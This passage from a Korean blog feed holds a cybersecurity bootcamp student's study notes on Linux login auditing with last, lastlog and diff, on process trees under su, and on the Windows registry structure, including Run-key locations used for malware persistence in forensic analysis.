&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;13,0&quot;&gt;&lt;span&gt;last&lt;/span&gt;&lt;span&gt;가 '이력'을 보여준다면, &lt;/span&gt;&lt;span&gt;lastlog&lt;/span&gt;&lt;span&gt;는 시스템에 존재하는 모든 계정의 **'마지막 접속 시점'**만을 요약해서 보여준다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;13,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;13,2&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1dWnx/dJMcaaDNYuC/HFjJFwKXgGkJ3kuMAswnQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1dWnx/dJMcaaDNYuC/HFjJFwKXgGkJ3kuMAswnQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1dWnx/dJMcaaDNYuC/HFjJFwKXgGkJ3kuMAswnQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1dWnx%2FdJMcaaDNYuC%2FHFjJFwKXgGkJ3kuMAswnQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;822&quot; height=&quot;417&quot; data-origin-width=&quot;822&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;15,0,1&quot;&gt;&lt;span data-path-to-node=&quot;15,0,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;시스템 계정 확인:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bin&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;daemon&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;adm&lt;/span&gt;&lt;span&gt; 등의 계정은 &lt;/span&gt;&lt;span&gt;**Never logged in**&lt;/span&gt;&lt;span&gt;으로 표시되는 것이 정상이다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,0,1,2&quot;&gt;. 이들은 사람이 아닌 시스템 데몬 실행을 위한 계정이기 때문이다. 만약 여기에 접속 날짜가 찍혀 있다면 백도어 설치 등을 강력히 의심해야 한다.&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;15,1,1&quot;&gt;&lt;span data-path-to-node=&quot;15,1,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;Root 계정 모니터링:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;root&lt;/span&gt;&lt;span&gt; 계정은 시스템의 모든 권한을 가지므로 언제 마지막으로 로그인했는지(&lt;/span&gt;&lt;span&gt;Tue Dec 2...&lt;/span&gt;&lt;span&gt;) 항상 인지하고 있어야 한다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;15,1,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;16&quot; data-ke-size=&quot;size20&quot;&gt;심화: 잠재적 위험 계정 찾아내기 (diff 활용)&lt;/h4&gt;
&lt;p data-path-to-node=&quot;17&quot; data-ke-size=&quot;size16&quot;&gt;단순히 로그만 보는 것을 넘어, /etc/passwd 파일과 lastlog를 비교하여 **&quot;로그인은 가능한 쉘을 가지고 있는데, 접속 기록은 없는 계정&quot;**을 찾아내는 실습을 진행했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;285&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qOLIK/dJMcadHgcmt/QHncMayvp7PKv4HPv0EGe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qOLIK/dJMcadHgcmt/QHncMayvp7PKv4HPv0EGe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qOLIK/dJMcadHgcmt/QHncMayvp7PKv4HPv0EGe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqOLIK%2FdJMcadHgcmt%2FQHncMayvp7PKv4HPv0EGe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;892&quot; height=&quot;285&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;285&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;19&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;test1 파일 생성:&lt;/b&gt; /etc/passwd에서 로그인이 금지된(nologin) 쉘을 가진 계정 목록 추출.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;test2 파일 생성:&lt;/b&gt; lastlog에서 한 번도 로그인하지 않은(Never logged in) 계정 목록 추출.&lt;/li&gt;
&lt;li&gt;&lt;span data-path-to-node=&quot;19,2,0,0&quot;&gt;&lt;b&gt;diff 비교:&lt;/b&gt; &lt;/span&gt;&lt;span data-path-to-node=&quot;19,2,0,1&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;19,2,0,2&quot;&gt;&lt;span&gt;실습 결과, &lt;/span&gt;&lt;span&gt;testuser2&lt;/span&gt;&lt;span&gt;라는 계정이 발견되었다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;19,2,0,3&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;19,2,0,4&quot;&gt;.&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;19,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;gt; testuser2의 의미: 이 계정은 한 번도 로그인하지 않았지만(test2에 존재), nologin 쉘 목록에는 없다(test1에 없음).&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;19,2,1,1,1&quot;&gt;&lt;span data-path-to-node=&quot;19,2,1,1,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;결론:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; 즉, &lt;/span&gt;&lt;span&gt;testuser2&lt;/span&gt;&lt;span&gt;는 &lt;/span&gt;&lt;span&gt;/bin/bash&lt;/span&gt;&lt;span&gt;와 같은 &lt;/span&gt;&lt;b&gt;&lt;span&gt;정상적인 쉘을 가지고 있어 언제든 로그인이 가능한 상태&lt;/span&gt;&lt;/b&gt;&lt;span&gt;로 방치된 계정일 확률이 높다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;19,2,1,1,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;19,2,1,1,1,2&quot;&gt;. 이는 잠재적인 보안 위협이므로 조치가 필요하다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-path-to-node=&quot;20&quot; data-ke-size=&quot;size23&quot;&gt;3. 프로세스 계층 구조와 권한 상승 (pstree)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;21&quot; data-ke-size=&quot;size16&quot;&gt;리눅스에서 내가 현재 어떤 상태인지 명확히 알기 위해 프로세스 트리(pstree)를 분석했다. 특히 su 명령어를 사용할 때 프로세스가 어떻게 생성되는지 시각적으로 확인했다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;(여기에 pstree 및 ps -ef 결과 이미지 삽입 - source: 67, 83)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;23&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;23,0,1&quot;&gt;&lt;span data-path-to-node=&quot;23,0,1,0&quot;&gt;&lt;b&gt;&lt;span&gt;PID 확인:&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;echo $$&lt;/span&gt;&lt;span&gt; 명령어로 현재 내 쉘의 PID가 &lt;/span&gt;&lt;span&gt;3517&lt;/span&gt;&lt;span&gt;임을 확인했다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;23,0,1,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;23,0,1,2&quot;&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;프로세스 족보 (Parent-Child 관계):&lt;/b&gt;&lt;span data-path-to-node=&quot;23,1,2,0&quot;&gt;&lt;span&gt;pstree -p&lt;/span&gt;&lt;span&gt; 결과를 보면 다음과 같은 계층 구조가 보인다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;23,1,2,1&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;23,1,2,2&quot;&gt;.&lt;/span&gt;gnome-terminal(3143) ─┬─ bash(3161) ─── su(3506) ─── bash(3517)
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;23,1,5&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;bash(3161):&lt;/b&gt; 내가 처음 로그인했을 때의 일반 유저(user) 쉘이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;su(3506):&lt;/b&gt; 관리자 권한을 얻기 위해 실행한 명령어다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;bash(3517):&lt;/b&gt; su 명령의 자식 프로세스로 생성된 새로운 &lt;b&gt;루트(root) 쉘&lt;/b&gt;이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li data-path-to-node=&quot;23,1,4&quot;&gt;이 트리가 시사하는 바는 매우 중요하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;24&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;24,0&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;24,1&quot;&gt;&lt;span&gt;즉, &lt;/span&gt;&lt;span&gt;su&lt;/span&gt;&lt;span&gt; 명령어는 기존의 일반 유저 쉘을 루트 쉘로 '교체'하는 것이 아니라, &lt;/span&gt;&lt;b&gt;&lt;span&gt;기존 쉘 위에 루트 쉘을 한 겹 더 '얹어서' 실행&lt;/span&gt;&lt;/b&gt;&lt;span&gt;하는 방식이다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;24,2&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;24,3&quot;&gt;. &lt;/span&gt;&lt;span data-path-to-node=&quot;24,4&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;24,5&quot;&gt;&lt;span&gt;따라서 &lt;/span&gt;&lt;span&gt;ps -ef | grep pts/0&lt;/span&gt;&lt;span&gt; 명령어로 현재 터미널을 조회해보면, 일반 유저 프로세스(&lt;/span&gt;&lt;span&gt;3161&lt;/span&gt;&lt;span&gt;)와 루트 프로세스(&lt;/span&gt;&lt;span&gt;3517&lt;/span&gt;&lt;span&gt;)가 동시에 살아있는 것을 볼 수 있다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;24,6&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;24,7&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span data-path-to-node=&quot;25,0&quot;&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;25,1&quot;&gt;&lt;span&gt;이 상태에서 &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;을 입력하면 루트 쉘(&lt;/span&gt;&lt;span&gt;3517&lt;/span&gt;&lt;span&gt;)만 종료되고, 다시 부모 프로세스인 일반 유저 쉘(&lt;/span&gt;&lt;span&gt;3161&lt;/span&gt;&lt;span&gt;)로 돌아가게 된다&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;25,2&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span data-path-to-node=&quot;25,3&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;326&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/egsRPx/dJMcacBDk7j/zWUgKkOzKLiZXgSt3BuF1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/egsRPx/dJMcacBDk7j/zWUgKkOzKLiZXgSt3BuF1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/egsRPx/dJMcacBDk7j/zWUgKkOzKLiZXgSt3BuF1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FegsRPx%2FdJMcacBDk7j%2FzWUgKkOzKLiZXgSt3BuF1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;326&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;326&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;26&quot; data-ke-size=&quot;size23&quot;&gt;4. 오늘의 결론 (Takeaway)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;27&quot; data-ke-size=&quot;size16&quot;&gt;단순히 명령어를 치는 것과 시스템 내부에서 어떤 일이 일어나는지 아는 것은 천지 차이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;28&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;last와 lastlog는 침해 사고 분석(Digital Forensics)의 가장 기초적인 단서가 된다.&lt;/li&gt;
&lt;li&gt;diff를 활용한 계정 감사는 숨겨진 위협을 찾는 유용한 방법론이다.&lt;/li&gt;
&lt;li&gt;프로세스는 부모-자식 관계로 연결되어 있으며, su 권한 상승 시 쉘이 중첩된다는 구조를 이해해야 정확한 시스템 제어가 가능하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;29&quot; data-ke-size=&quot;size16&quot;&gt;보안 전문가가 되기 위해서는 이러한 로그 한 줄, 프로세스 하나를 허투루 넘기지 않는 습관을 들여야겠다.&lt;/p&gt;</description>
      <category>멀티캠퍼스IT부트캠프</category>
      <category>부트캠프 후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/27</guid>
      <comments>https://yejiamoe.tistory.com/27#entry27comment</comments>
      <pubDate>Wed, 10 Dec 2025 14:03:43 +0900</pubDate>
    </item>
    <item>
      <title>레지스트리-11.28</title>
      <link>https://yejiamoe.tistory.com/26</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 레지스트리란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 윈도우 운영체제의 거대한 저장소 데이터 베이스&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컴퓨터의 하드웨어, 설치된 소프트웨어, 사용자 설정 등 윈도우가 돌아가는데 필요한 모든 중요한 정보와 옵션 값이 모여 있음&lt;/li&gt;
&lt;li&gt;윈도우 부팅부터 프로그램 실행까지 이 레지스트리를 참조하여 어떻게 작동해야 할지 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 트리 구조로 모든 정보를 한 곳에 모아 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레지스트리가 중요한 이유?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자의 모든 흔적이 남으니까,&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;레지스트리 구조&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;키
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;폴더 같은 개념&lt;/li&gt;
&lt;li&gt;트리 구조로 되어 있으며 하위 키를 가짐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;값&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bL8M1U/dJMcafkL59A/YYEaUKFHCPiYYopazuYMv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bL8M1U/dJMcafkL59A/YYEaUKFHCPiYYopazuYMv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bL8M1U/dJMcafkL59A/YYEaUKFHCPiYYopazuYMv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbL8M1U%2FdJMcafkL59A%2FYYEaUKFHCPiYYopazuYMv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;520&quot; height=&quot;546&quot; data-origin-width=&quot;520&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HKEY_LOCAL이랑 HKEY_USERS에서 데이터를 가져와서&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1255&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yr3li/dJMcafSCgGs/7qHyoMbz440Qop2mbKkk61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yr3li/dJMcafSCgGs/7qHyoMbz440Qop2mbKkk61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yr3li/dJMcafSCgGs/7qHyoMbz440Qop2mbKkk61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fyr3li%2FdJMcafSCgGs%2F7qHyoMbz440Qop2mbKkk61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1255&quot; height=&quot;745&quot; data-origin-width=&quot;1255&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;681&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZxB89/dJMcahiAAXv/kxcOlZ2sWUWrkRvVcrMkV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZxB89/dJMcahiAAXv/kxcOlZ2sWUWrkRvVcrMkV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZxB89/dJMcahiAAXv/kxcOlZ2sWUWrkRvVcrMkV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZxB89%2FdJMcahiAAXv%2FkxcOlZ2sWUWrkRvVcrMkV0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;866&quot; height=&quot;681&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;681&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;1029&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvZfNO/dJMcadmT1Ix/WGV9cogE4j8DjKSxOC7HPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvZfNO/dJMcadmT1Ix/WGV9cogE4j8DjKSxOC7HPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvZfNO/dJMcadmT1Ix/WGV9cogE4j8DjKSxOC7HPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvZfNO%2FdJMcadmT1Ix%2FWGV9cogE4j8DjKSxOC7HPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;997&quot; height=&quot;1029&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;1029&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기 이렇게 생김&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 분석할꺼임&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1433&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqzsES/dJMcacIme5S/AkndfUZsXKKDPfkrsKjXH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqzsES/dJMcacIme5S/AkndfUZsXKKDPfkrsKjXH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqzsES/dJMcacIme5S/AkndfUZsXKKDPfkrsKjXH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqzsES%2FdJMcacIme5S%2FAkndfUZsXKKDPfkrsKjXH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1433&quot; height=&quot;736&quot; data-origin-width=&quot;1433&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1418&quot; data-origin-height=&quot;721&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cu5x8/dJMcafSCgJ2/G5m2z6xFig52TZSKCuZqn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cu5x8/dJMcafSCgJ2/G5m2z6xFig52TZSKCuZqn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cu5x8/dJMcafSCgJ2/G5m2z6xFig52TZSKCuZqn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCu5x8%2FdJMcafSCgJ2%2FG5m2z6xFig52TZSKCuZqn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1418&quot; height=&quot;721&quot; data-origin-width=&quot;1418&quot; data-origin-height=&quot;721&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1432&quot; data-origin-height=&quot;739&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dlf1CA/dJMcahJFFVP/dTE0PawKsGKijKDcxYvYNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dlf1CA/dJMcahJFFVP/dTE0PawKsGKijKDcxYvYNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dlf1CA/dJMcahJFFVP/dTE0PawKsGKijKDcxYvYNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdlf1CA%2FdJMcahJFFVP%2FdTE0PawKsGKijKDcxYvYNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1432&quot; height=&quot;739&quot; data-origin-width=&quot;1432&quot; data-origin-height=&quot;739&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;&lt;span&gt; ️&lt;/span&gt; 1. 지속성 유지 (Persistence) 메커니즘&lt;/span&gt; 악성코드가 재부팅 후에도 생존하기 위해 자동 실행을 등록하는 핵심 레지스트리 영역. &lt;span data-token-index=&quot;2&quot;&gt; 1.1 Run / RunOnce 키 (표준 자동 실행)&lt;/span&gt; &amp;bull; &lt;span data-token-index=&quot;4&quot;&gt;개념&lt;/span&gt;: 윈도우 부팅 또는 사용자 로그온 시 프로그램 자동 실행. &amp;bull; &lt;span data-token-index=&quot;6&quot;&gt;주요 경로&lt;/span&gt;: ◦ &lt;span data-token-index=&quot;8&quot;&gt;HKLM (Local Machine)&lt;/span&gt;:&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;background-color: #000000; color: #eb5757;&quot; data-token-index=&quot;10&quot;&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;▪&lt;/span&gt; 특징: 모든 사용자에게 영향. 등록 시 관리자 권한 필요. 시스템 레벨 악성코드 상주. ◦ &lt;span data-token-index=&quot;12&quot;&gt;HKCU (Current User)&lt;/span&gt;:&lt;/p&gt;
